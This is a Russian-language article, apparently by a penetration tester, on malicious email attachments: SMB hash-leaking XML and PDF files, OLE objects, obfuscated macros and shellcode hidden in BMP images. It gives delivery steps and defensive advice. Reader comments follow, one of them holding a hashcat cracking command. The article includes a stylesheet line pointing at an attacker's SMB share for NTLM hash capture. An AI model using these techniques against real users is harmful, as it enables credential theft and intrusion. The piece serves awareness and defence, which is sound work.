Моя работа связана с тем, что я вру людям и эксплуатирую их доверчивость, любопытство, жадность и так далее. Работу я свою люблю и стараюсь подходить к ней творчески. Специфика моей деятельности связана с проведением атак методом социальной инженерии. И в этом посте я бы хотела рассказать о вредоносных вложениях.

Если вам на почту свалится PDF, откроете его? А вордовский файл? Станете открывать изображение от неизвестного источника? Можно ли нарваться на неприятности, если скачать архив? Насколько хорошо вы знаете, какие вложения представляют опасность, а какие нет? А что насчет ваших коллег?

За несколько десятков проектов я опробовала совершенно разные способы доставки полезной нагрузки до пользователя. Какие-то были весьма эффективными, какие-то легко обнаруживались – у каждого свои минусы и плюсы. Я не стану рассказывать, как упаковать исполняемые файлы с расширением .exe в архив. С таким старомодным подходом пробиться через системы защиты, а потом еще и заставить пользователя запустить вложение – себе дороже. Я расскажу, какие потенциально опасные файлы реально сегодня получить по почте (или отправить).

Дисклеймер: всё нижеописанное носит исключительно ознакомительный характер. Автор описывает опыт, полученный во время пентестов, не несет ответственности за повтор указанных атак и призывает не использовать материал в незаконных целях.

XML


Суть метода

Большинство Office-файлов основаны на Microsoft Office Open XML (OOXML), который, по сути, представляет собой сжатый XML-формат, разработанный Microsoft для представления таблиц, диаграмм, презентаций и так далее. Причастность к XML отображается в расширении документа (docx, xlsx, pptx). Весьма любопытно, что такие Office-документы можно открыть как обычный текстовый файл со всеми тегами и атрибутами. Любой Office Open XML-файл можно сохранить как XML и внести изменения в теги. Например, добавить ссылку на общедоступную папку, подконтрольную злоумышленнику. При запуске XML файл пытается подключиться к открытой общедоступной папке. При попытке подключения по smb-протоколу Windows любезно предоставляет NTLM-хеш (NTLMv2) и логин пользователя злоумышленнику.



Реализация в двух словах

Для реализации вектора необходимо создать документ Office Open XML (docx, pptx, xlsx, etc.), сохранить его как XML. Открыть XML и внести следующие изменения:

<?xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx\test\swordfish.xsl">

В указанном теге необходимо прописать адрес общедоступной сетевой папки, к которой будет подключаться жертва.

Примечание: вместо ="\\xxx.xxx.xxx.xxx\test\swordfish.xsl можно писать file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl. Далее файл нужно сохранить и отправить жертве.

Информацию об атаке можно найти здесь.

Примечание: в зависимости от операционной системы и настроек пользователю, возможно, придется согласиться с дополнительными условиями или замечаниями, например:



Статья была бы неполной без советов по защите:

  • Используйте политику сложных паролей.
  • Используйте NTLMv2.
  • Запретите внешний трафик по smb (tcp 139/445).

Bad-pdf


Суть метода

В PDF-файл добавляется тег со ссылкой на общедоступный smb-сервер, подконтрольный злоумышленнику. Как и в примере выше, при открытии файла операционная система передает NTLM-хеш (NTLMv2) для подключения к общедоступной папке.

Реализация в двух словах

Реализовать данную атаку значительно проще, чем предыдущую. Для успешной кражи хеша достаточно скачать утилиту (git clone здесь или здесь) и дать права на исполнение (chmod +x) python-файлу. Далее запустить python-скрипт и ввести IP-адрес, название файла и интерфейс, как на рисунке ниже.


Генерирование файла с полезной нагрузкой.

Полученный файл можно отправить на почту под видом поздравления, документа на подпись, скана заявления и так далее. При запуске файла все хеши будут отправлены к злоумышленнику.



Защита

  • Используйте политику сложных паролей.
  • Используйте NTLMv2.
  • Запретите внешний трафик по smb (tcp 139/445).

OLE-объект


Суть метода

В легитимный Office-документ встраивается скрипт, запускающийся по клику. Скрипт может быть совершенно любой, обычно это просто полезная нагрузка. Он имеет свою иконку, которую можно менять, в зависимости от желаний атакующего, вплоть до полного копирования стиля Office-документов, имитирующих сообщения об ошибках. В отличие от макросов, файл с OLE-вложением у обычных пользователей пока не вызывает подозрений.


Реализация в двух словах

На подготовку к этой атаке придется потратить несколько больше усилий (по сравнению с теми, что выше). Первым делом необходимо сгенерировать полезную нагрузку. Далее нужно запустить сервер, на который будут приходить соединения от payload, после чего создать Word-документ, преобразовать его в RTF и добавить ссылку на полезную нагрузку. Это если кратко.
Информацию об атаке можно найти здесь.

Защита

Для защиты от таких атак рекомендуется внести следующие изменения в реестр:

HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt

Значение Office Version может быть равно 16.0 (Office 2016); 15.0 (Office 2013); 14.0 (Office 2010); или 12.0 (Office 2007). Значение Office application — это имя конкретного приложения Office, то есть Word, Excel и так далее.

Значение данного раздела реестра должно равняться «2», что будет означать «No prompt, Object does not execute» или фактический запрет на выполнение объектов. Значение «1» разрешает пользователю «Prompt from Office when user clicks, object executes», то есть объекты срабатывают по клику, и Office отображает соответствующее сообщение. Значение «0», в свою очередь, означает «No prompt from Office when user clicks, object executes», другими словами, объекты выполняются, но никаких сообщений от Office пользователь не получает.

Изменения можно внести, если эти функции не используются в бизнес-процессах вашей компании.

Макросы


Раз уж был упомянут OLE, то как же не упомянуть макросы?



Суть метода

Макрос — набор команд, который призван упростить работу пользователя. Потенциально можно записать абсолютно любой набор команд в макрос и таким образом получить полезную нагрузку. Для создания документа с макросом злоумышленнику достаточно обфусцировать код пейлоада и добавить код в макрос документа.

Реализация в двух словах

Способов сгенерировать макрос на данный момент существует великое множество. Можно использовать инструмент Luckystrike или остановиться на более привычном Metasploit. Можно воспользоваться msfvenom и обфусцировать макрос после генерации. Когда макрос создан, все, что нужно сделать – добавить его в Office-документ. Но в отличие от OLE-вложения, для запуска макроса нужно приложить действительно массу усилий. На данный момент очень мало пользователей запустят макросы. Windows уже научилась предупреждать о подозрительных макросах, и разговоров об их опасности было великое множество.

Защита

Для надежности рекомендую отключить исполнение макросов без уведомления.

BMP


Очень маловероятно, что вам когда-нибудь встретится BMP-вложение с шелл-кодом, так что просто знайте: и такие бывают.

Суть метода

Шелл-код встраивается в картинку в BMP-формате. Само по себе изображение в момент открытия никакой опасности не представляет. Суть не в том, чтобы дать злоумышленнику поднять сессию. Картинка нужна, чтобы лежать и ждать часа, когда злоумышленник активирует ее с помощью команды Powershell. Это метод не столько атаки, сколько обхода антивирусов и средств обнаружения вторжения.

Реализация в двух словах

Для создания картинки достаточно использовать данный репозиторий. DKMC предусматривает все, от генерации изображения до обфускации кода. Также хочу обратить внимание, что «зараженное» изображение будет содержать странные разноцветные пиксели. Это легко исправить, если обрезать видимую область изображения на 5-10 пикселей.

После создания изображения файл нужно доставить жертве и ждать подходящего случая или искать возможность запустить powershell-скрипт.

Защита

Отфильтровывать каждый bmp-файл как потенциально опасный неэффективно. Можно использовать конверторы и сохранять изображения в иных форматах, проводить инспекцию файлов на компьютерах или принять тот факт, что если у злоумышленника получилось использовать powershell-сркипт на компьютере работника, то наличие изображения с шелл-кодом не основная проблема безопасности.

Вот, собственно, и всё. Надеюсь, статья расширила ваши представления о вложениях и опасностях, которые они могут нести. Чуть позже поговорим о подозрительных ссылках.



Екатерина Рудая (Caterin), эксперт лаборатории практического анализа защищенности, «Инфосистемы Джет»

Комментарии (27)


  1. firedragon
    16.10.2018 09:36

    SMB запрос через файрвол?
    Девушка это гипотетический конь в вакууме, вам нужно «пробить» периметр, создать «шару» залить пэйлоад. И все ради того что бы кто то открыл сессию внутри песочницы.

    OLE хочется рвать и метать. В частности из за криворучек которым все мешает похоронили такую штуку. Однако офис ругается с самого начала на не подписанные расширения. Система доверия сертификатам для выпуска ПО, я считаю достаточно надежна.

    Макросы снова вредные советы. Для того что бы обойти дурацкие ограничения нужно в том же экселе создавать формулы размером до 64кб.
    В одном из проектов я заменил это все на макросы и счастью клиента не было предела, потому что можно составлять спецификации из тысяч позиций, которые не тормозят при пересчете.

    Зы приведите кстати актуальные версии софта и систем в которых ваши советы применимы.
    Дефолтные настройки по моему уже у всех такие, а кто полез тюнить знает зачем.


    1. vesper-bot
      16.10.2018 13:41
      +2

      Если айпишник предоставлен публичный, винда реально полезет за шарой через Интернет. Способ рабочий, к сожалению, сам тестировал и перекрывал 139/tcp и 445/tcp на внешний интерфейс с log+drop.


      1. firedragon
        16.10.2018 17:50
        -2

        Я просил указать версии ОС. Надеюсь у вас не «Тру Винда из всех XP»?
        Минусующим же скажу безопасность это комплекс мер.


        1. vesper-bot
          16.10.2018 18:36
          +1

          Windows 8.1, Windows 10. Десятку проверял как с отломанными апдейтами (как сломал, сам не понял), и полностью обновленную на тот момент (1803).


          1. firedragon
            16.10.2018 19:14
            -2

            Wireshark или что то другое?
            Можно сессию из «датчика»?
            Мне просто интересно до какого места дошел пакет. Обычная корпоративная сеть, как впрочем и рабочее место как минимум находятся за одним роутером.
            И там все эти шалости пресекаются.


            1. anonymous
              16.10.2018 20:05
              +1

              Считать что корпоративные компьютеры находятся только внутри периметра неправильно. Конечно административную учётку таким способом не достать, но учётку обычного сотрудника, работающего, допустим, из дома вполне возможно.
              Как защищаться — принудительный автоматически подключающийся vpn и весь трафик заворачивать на корпоративный файрвол.


    1. Caterin
      16.10.2018 20:10
      +1

      SMB-запрос имеет право на жизнь. О создании шары внутри периметра вообще
      речи не идет. Атака, описанная в статье, реализуема для относительно
      небольших компаний, где 445 порт открыт.

      Основная проблема с макросами в том, что на каждый макрос Office реагирует
      очень остро. В связи с чем замотивировать пользователя запустить макрос
      достаточно сложно, каким бы безвредным для антивируса он ни был.


  1. McDermott
    16.10.2018 10:30

    Шелл-код в файле BMP — насколько он поможет обойти антивирус? Разве антивирус не сработает при попытке запустить этот скрипт?


    1. Caterin
      16.10.2018 20:10
      +1

      Фокус с BMP поможет обойти антивирус на этапе доставки шелл-кода. При
      попытке запуска скрипта все будет упираться в то, насколько «безопасным» для
      антивируса выглядит шелл-код.


      1. McDermott
        17.10.2018 09:21

        Да, я именно это и имел в виду. Думаю, что какой-то радикально новый и неизвестный для антивируса шелл можно хоть в txt отправить.



  1. mayorovp
    17.10.2018 07:59

    А HTML который содержит картинку с SMB-шары уже не работает?


  1. prs123
    17.10.2018 08:08

    Объясните, пожалуйста, чем так уж ужасно, что злоумышленник получит внешний ip'ник провайдера и где-то там внутри хеш и логин пользователя? Что он с этим делать-то будет?


    1. McDermott
      17.10.2018 09:26

      Если полученный IP будет выделенным для конкретной компании — можно начинать исследовать корпоративный фаервол или устраивать DDoS на него. Логин можно использовать при фишинге, при продвижении внутрь корпоративной сети или для попытки залогиниться в веб-интерфейсе корпоративной почты.


      1. prs123
        17.10.2018 09:47

        А без хеша пользователя никто не будет устраивать DDoS?


        1. McDermott
          17.10.2018 11:25

          Возможно, будет. Но если вы хотите докучать конкретно ООО «Вектор», то способом из статьи можно узнать конкретный IP. Разумеется, никто не утверждает, что для DDoS нужен хеш пароля.


      1. firedragon
        17.10.2018 10:35

        Успехов комрад. Когда надоест ломать посмотри счет за электричество.

        root@The-Distribution-Which-Does-Not-Handle-OpenCL-Well (Kali):~/Desktop/My Stuff/cudaHashcat-1.30# '/root/Desktop/My Stuff/cudaHashcat-1.30/cudaHashcat64.bin' -m 5600 test::test-PC:1122334455667788:CCE958E2567F8FFF0217AB32D4454154:010100000000000038A2288013FACF0139F4C139FC72D23E000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000010000000020000089466F4E6E55EB571B1DE1F1C0FF5F13300EC7AB644E01BC8BE7C907DDC41D030A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000 '/root/Desktop/My Stuff/cudaHashcat-1.30/example.dict'


    1. mayorovp
      17.10.2018 10:59

      Если пароль словарный, то из хеша его можно достать.

      А дальше можно поискать открытые ресурсы, защищенные этим же паролем. Например, VPN для работающих удаленно сотрудников.


      1. prs123
        17.10.2018 11:14

        Нда. Вы сперва NAT как хотите пройти? Имя юзера и его пароль ничего не дадут


        1. mayorovp
          17.10.2018 11:16

          Если есть работающие удаленно сотрудники — значит, NAT они как-то проходят.


          1. prs123
            17.10.2018 11:21

            VPN? А юзер vpn и юзер на компьютере могут быть разными. Более того, много где vpn на нескольких пользователей. То есть пароли явно другие


            1. mayorovp
              17.10.2018 11:32

              Но ведь пароли могут быть и одинаковыми…


              1. prs123
                17.10.2018 11:33

                Ну если у компании один пароль на все, то тут как-то странно защищаться от дождя, стоя в озере


                1. mayorovp
                  17.10.2018 12:32

                  Скажите, а кроме обсуждаемой тут дыры в NTLM, какие еще могут быть проблемы с общим паролем для домена и для VPN?


      1. firedragon
        17.10.2018 18:49
        -1

        Слишком много допущений. Может быть, а может и не быть, пользователь может быть идиотом, а может им и не быть.

        В итоге гугло хром кажется мудаком, натренировав хомячков на зеленый значок.
        И что примечательно быдлокодер поставил себе летсенкрипт и все «уверены что БЕЗАПЯСНО!!!»

        При чем тыкают в экзешники, потому что GOOGLE сказал что «Этот сайт безопасный».
        И сама идея сертификата превратилась в тыкву :(


  1. perlestius
    17.10.2018 17:48

    По теме SMB. Некоторые провайдеры после эпидемии с петями и им подобными стали рубить SMB-трафик абонентам. Причем без возможности снятия блокировки (во всяком случае для физлиц). Лично сталкивался.
    P.S. Я к тому, что это дополнительно усложняет взлом, но НЕ отменяет необходимость дополнительной защиты на своей стороне.